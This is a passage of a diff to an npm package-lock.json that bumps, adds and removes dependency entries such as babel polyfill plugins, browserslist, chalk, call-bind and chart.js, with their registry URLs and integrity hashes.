"https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz", + "integrity": "sha512-ESAc/RJvGTFEzRwOTT4+lNDk/GNHMkKbNzsvT0qKRfDyyYTskxB5rnU2njIDYVxXCBHHEI1c0YwHob3WaYujOg==", "dev": true, "dependencies": { "@babel/template": "^7.3.3", @@ -4647,12 +4893,12 @@ } }, "node_modules/babel-plugin-polyfill-corejs2": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.2.tgz", - "integrity": "sha512-LPnodUl3lS0/4wN3Rb+m+UK8s7lj2jcLRrjho4gLw+OJs+I4bvGXshINesY5xx/apM+biTnQ9reDI8yj+0M5+Q==", + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz", + "integrity": "sha512-8hOdmFYFSZhqg2C/JgLUQ+t52o5nirNwaWM2B9LWteozwIvM14VSwdsCAUET10qT+kmySAlseadmfeeSWFCy+Q==", "dependencies": { "@babel/compat-data": "^7.17.7", - "@babel/helper-define-polyfill-provider": "^0.3.2", + "@babel/helper-define-polyfill-provider": "^0.3.3", "semver": "^6.1.1" }, "peerDependencies": { @@ -4660,16 +4906,34 @@ } }, "node_modules/babel-plugin-polyfill-corejs3": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.5.3.tgz", - "integrity": "sha512-zKsXDh0XjnrUEW0mxIHLfjBfnXSMr5Q/goMe/fxpQnLm07mcOZiIZHBNWCMx60HmdvjxfXcalac0tfFg0wqxyw==", + "version": "0.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.13.0.tgz", + "integrity": "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-define-polyfill-provider": "^0.3.2", - "core-js-compat": "^3.21.0" + "@babel/helper-define-polyfill-provider": "^0.6.5", + "core-js-compat": "^3.43.0" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs3/node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.5.tgz", + "integrity": "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-plugin-utils": "^7.27.1", + "debug": "^4.4.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.22.10" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "node_modules/babel-plugin-polyfill-regenerator": { @@ -4726,12 +4990,12 @@ } }, "node_modules/babel-preset-jest": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.0.0.tgz", - "integrity": "sha512-B5Ke47Xcs8rDF3p1korT3LoilpADCwbG93ALqtvqu6Xpf4d8alKkrCBTExbNzdHJcIuEPpfYvEaFFRGee2kUgQ==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz", + "integrity": "sha512-0B3bhxR6snWXJZtR/RliHTDPRgn1sNHOR0yVtq/IiQFyuOVjFS+wuio/R4gSNkyYmKmJB4wGZv2NZanmKmTnNA==", "dev": true, "dependencies": { - "babel-plugin-jest-hoist": "^29.0.0", + "babel-plugin-jest-hoist": "^29.6.3", "babel-preset-current-node-syntax": "^1.0.0" }, "engines": { @@ -4759,13 +5023,23 @@ "dev": true }, "node_modules/base-x": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/base-x/-/base-x-3.0.9.tgz", - "integrity": "sha512-H7JU6iBHTal1gp56aKoaa//YUxEaAOUiydvrV/pILqIHXTtqxSkATOnDA2u+jZ/61sD+L/412+7kzXRtWukhpQ==", + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/base-x/-/base-x-3.0.11.tgz", + "integrity": "sha512-xz7wQ8xDhdyP7tQxwdteLYeFfS68tSMNCZ/Y37WJ4bhGfKPpqEIlmIyueQHqOyoPhE6xNUqjzRr8ra0eF9VRvA==", + "license": "MIT", "dependencies": { "safe-buffer": "^5.0.1" } }, + "node_modules/base64-arraybuffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/base64-arraybuffer/-/base64-arraybuffer-1.0.2.tgz", + "integrity": "sha512-I3yl4r9QB5ZRY3XuJVEPfc2XhZO6YweFPI+UovAzn+8/hb3oJ6lnysaFcjVpkCPfVWFUDvoZ8kmVDP7WyRtYtQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6.0" + } + }, "node_modules/base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", @@ -4803,100 +5077,30 @@ } }, "node_modules/bignumber.js": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.1.0.tgz", - "integrity": "sha512-4LwHK4nfDOraBCtst+wOWIHbu1vhvAPJK8g8nROd4iuc3PSEjWif/qwbkh8jwCJz6yDBvtU4KPynETgrfh7y3A==", + "version": "9.3.1", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", + "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", + "license": "MIT", "engines": { "node": "*" } }, - "node_modules/binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true, - "engines": { - "node": ">=8" - } - }, "node_modules/blakejs": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/blakejs/-/blakejs-1.1.1.tgz", "integrity": "sha512-bLG6PHOCZJKNshTjGRBvET0vTciwQE6zFKOKKXPDJfwFBd4Ac0yBfPZqcGvGJap50l7ktvlpFqc2jGVaUgbJgg==" }, - "node_modules/bluebird": { - "version": "3.7.2", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", - "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==" - }, "node_modules/bn.js": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.1.tgz", "integrity": "sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==" }, - "node_modules/body-parser": { - "version": "1.20.0", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz", - "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==", - "dependencies": { - "bytes": "3.1.2", - "content-type": "~1.0.4", - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "on-finished": "2.4.1", - "qs": "6.10.3", - "raw-body": "2.5.1", - "type-is": "~1.6.18", - "unpipe": "1.0.0" - }, - "engines": { - "node": ">= 0.8", - "npm": "1.2.8000 || >= 1.4.16" - } - }, - "node_modules/body-parser/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/body-parser/node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/body-parser/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "node_modules/body-parser/node_modules/qs": { - "version": "6.10.3", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", - "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", - "dependencies": { - "side-channel": "^1.0.4" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/boolbase": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", - "dev": true + "dev": true, + "license": "ISC" }, "node_modules/bootstrap": { "version": "4.6.1", @@ -4922,12 +5126,12 @@ } }, "node_modules/braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", "dev": true, "dependencies": { - "fill-range": "^7.0.1" + "fill-range": "^7.1.1" }, "engines": { "node": ">=8" @@ -4938,12 +5142,6 @@ "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=" }, - "node_modules/browser-process-hrtime": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", - "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==", - "dev": true - }, "node_modules/browserify-aes": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz", @@ -4988,21 +5186,56 @@ } }, "node_modules/browserify-sign": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.1.tgz", - "integrity": "sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.3.tgz", + "integrity": "sha512-JWCZW6SKhfhjJxO8Tyiiy+XYB7cqd2S5/+WeYHsKdNKFlCBhKbblba1A/HN/90YwtxKc8tCErjffZl++UNmGiw==", "dependencies": { - "bn.js": "^5.1.1", - "browserify-rsa": "^4.0.1", + "bn.js": "^5.2.1", + "browserify-rsa": "^4.1.0", "create-hash": "^1.2.0", "create-hmac": "^1.1.7", - "elliptic": "^6.5.3", + "elliptic": "^6.5.5", + "hash-base": "~3.0", "inherits": "^2.0.4", - "parse-asn1": "^5.1.5", - "readable-stream": "^3.6.0", - "safe-buffer": "^5.2.0" + "parse-asn1": "^5.1.7", + "readable-stream": "^2.3.8", + "safe-buffer": "^5.2.1" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/browserify-sign/node_modules/hash-base": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz", + "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==", + "dependencies": { + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/browserify-sign/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, + "node_modules/browserify-sign/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, "node_modules/browserify-sign/node_modules/safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", @@ -5022,10 +5255,23 @@ } ] }, + "node_modules/browserify-sign/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/browserify-sign/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, "node_modules/browserslist": { - "version": "4.21.3", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.3.tgz", - "integrity": "sha512-898rgRXLAyRkM1GryrrBHGkqA5hlpkV5MhtZwg9QXeiyLUYs2k00Un05aX5l2/yJIOObYKOpS2JNo8nJDE7fWQ==", + "version": "4.25.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.25.1.tgz", + "integrity": "sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==", "funding": [ { "type": "opencollective", @@ -5034,13 +5280,18 @@ { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" } ], + "license": "MIT", "dependencies": { - "caniuse-lite": "^1.0.30001370", - "electron-to-chromium": "^1.4.202", - "node-releases": "^2.0.6", - "update-browserslist-db": "^1.0.5" + "caniuse-lite": "^1.0.30001726", + "electron-to-chromium": "^1.5.173", + "node-releases": "^2.0.19", + "update-browserslist-db": "^1.1.3" }, "bin": { "browserslist": "cli.js" @@ -5134,11 +5385,6 @@ "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" }, - "node_modules/buffer-to-arraybuffer": { - "version": "0.0.5", - "resolved": "https://registry.npmjs.org/buffer-to-arraybuffer/-/buffer-to-arraybuffer-0.0.5.tgz", - "integrity": "sha512-3dthu5CYiVB1DEJp61FtApNnNndTckcqe4pFcLdvHtrpG+kcyekCJKg4MRiDcFW7A6AODnXB9U4dwQiCW5kzJQ==" - }, "node_modules/buffer-xor": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz", @@ -5149,6 +5395,8 @@ "resolved": "https://registry.npmjs.org/bufferutil/-/bufferutil-4.0.5.tgz", "integrity": "sha512-HTm14iMQKK2FjFLRTM5lAVcyaUzOnqbPtesFIvREgXpJHdQm8bWS+GkQgIkfaBYRHuCnea7w8UVNfwiAQhlr9A==", "hasInstallScript": true, + "optional": true, + "peer": true, "dependencies": { "node-gyp-build": "^4.3.0" }, @@ -5161,125 +5409,48 @@ "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz", "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=" }, - "node_modules/builtins": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/builtins/-/builtins-5.0.1.tgz", - "integrity": "sha512-qwVpFEHNfhYJIzNRBvd2C1kyo6jz3ZSMPyyuR47OPdiKWlbYnZNyDWuyR175qDnAJLiCo5fBBqPb3RiXgWlkOQ==", - "dev": true, - "peer": true, + "node_modules/call-bind": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", + "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", + "license": "MIT", "dependencies": { - "semver": "^7.0.0" + "call-bind-apply-helpers": "^1.0.0", + "es-define-property": "^1.0.0", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/builtins/node_modules/semver": { - "version": "7.3.7", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", - "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", - "dev": true, - "peer": true, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", "dependencies": { - "lru-cache": "^6.0.0" - }, - "bin": { - "semver": "bin/semver.js" + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" }, "engines": { - "node": ">=10" - } - }, - "node_modules/bytes": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/cacache": { - "version": "15.3.0", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", - "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "@npmcli/fs": "^1.0.0", - "@npmcli/move-file": "^1.0.1", - "chownr": "^2.0.0", - "fs-minipass": "^2.0.0", - "glob": "^7.1.4", - "infer-owner": "^1.0.4", - "lru-cache": "^6.0.0", - "minipass": "^3.1.1", - "minipass-collect": "^1.0.2", - "minipass-flush": "^1.0.5", - "minipass-pipeline": "^1.2.2", - "mkdirp": "^1.0.3", - "p-map": "^4.0.0", - "promise-inflight": "^1.0.1", - "rimraf": "^3.0.2", - "ssri": "^8.0.1", - "tar": "^6.0.2", - "unique-filename": "^1.1.1" - }, - "engines": { - "node": ">= 10" - } - }, - "node_modules/cacheable-lookup": { - "version": "6.0.4", - "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-6.0.4.tgz", - "integrity": "sha512-mbcDEZCkv2CZF4G01kr8eBd/5agkt9oCqz75tJMSIsquvRZ2sL6Hi5zGVKi/0OSC9oO1GHfJ2AV0ZIOY9vye0A==", - "engines": { - "node": ">=10.6.0" - } - }, - "node_modules/cacheable-request": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.2.tgz", - "integrity": "sha512-pouW8/FmiPQbuGpkXQ9BAPv/Mo5xDGANgSNXzTzJ8DrKGuXOssM4wIQRjfanNRh3Yu5cfYPvcorqbhg2KIJtew==", - "dependencies": { - "clone-response": "^1.0.2", - "get-stream": "^5.1.0", - "http-cache-semantics": "^4.0.0", - "keyv": "^4.0.0", - "lowercase-keys": "^2.0.0", - "normalize-url": "^6.0.1", - "responselike": "^2.0.0" - }, - "engines": { - "node": ">=8" + "node": ">= 0.4" } }, - "node_modules/cacheable-request/node_modules/get-stream": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", - "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", "dependencies": { - "pump": "^3.0.0" - }, - "engines": { - "node": ">=8" + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/cacheable-request/node_modules/lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", "engines": { - "node": ">=8" - } - }, - "node_modules/call-bind": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", - "dependencies": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" + "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" @@ -5302,25 +5473,6 @@ "node": ">=6" } }, - "node_modules/camelcase-keys": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz", - "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "camelcase": "^5.3.1", - "map-obj": "^4.0.0", - "quick-lru": "^4.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/camelize": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/camelize/-/camelize-1.0.0.tgz", @@ -5331,6 +5483,7 @@ "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", "dev": true, + "license": "MIT", "dependencies": { "browserslist": "^4.0.0", "caniuse-lite": "^1.0.0", @@ -5339,9 +5492,9 @@ } }, "node_modules/caniuse-lite": { - "version": "1.0.30001374", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001374.tgz", - "integrity": "sha512-mWvzatRx3w+j5wx/mpFN5v5twlPrabG8NqX2c6e45LCpymdoGqNvRkRutFUqpRTXKFQFNQJasvK0YT7suW6/Hw==", + "version": "1.0.30001731", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001731.tgz", + "integrity": "sha512-lDdp2/wrOmTRWuoB5DpfNkC0rJDU8DqRa6nYL6HK6sytw70QMopt/NIc/9SM7ylItlBWfACXk0tEn37UWM/+mg==", "funding": [ { "type": "opencollective", @@ -5350,8 +5503,13 @@ { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" } - ] + ], + "license": "CC-BY-4.0" }, "node_modules/caseless": { "version": "0.12.0", @@ -5375,16 +5533,79 @@ } }, "node_modules/chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" }, "engines": { - "node": ">=4" + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chalk/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/chalk/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/chalk/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/chalk/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/chalk/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" } }, "node_modules/char-regex": { @@ -5397,16 +5618,23 @@ } }, "node_modules/chart.js": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-3.9.1.tgz", - "integrity": "sha512-Ro2JbLmvg83gXF5F4sniaQ+lTbSv18E+TIf2cOeiH1Iqd2PGFOtem+DUufMZsCJwFE7ywPOpfXFBwRTGq7dh6w==" + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-4.5.0.tgz", + "integrity": 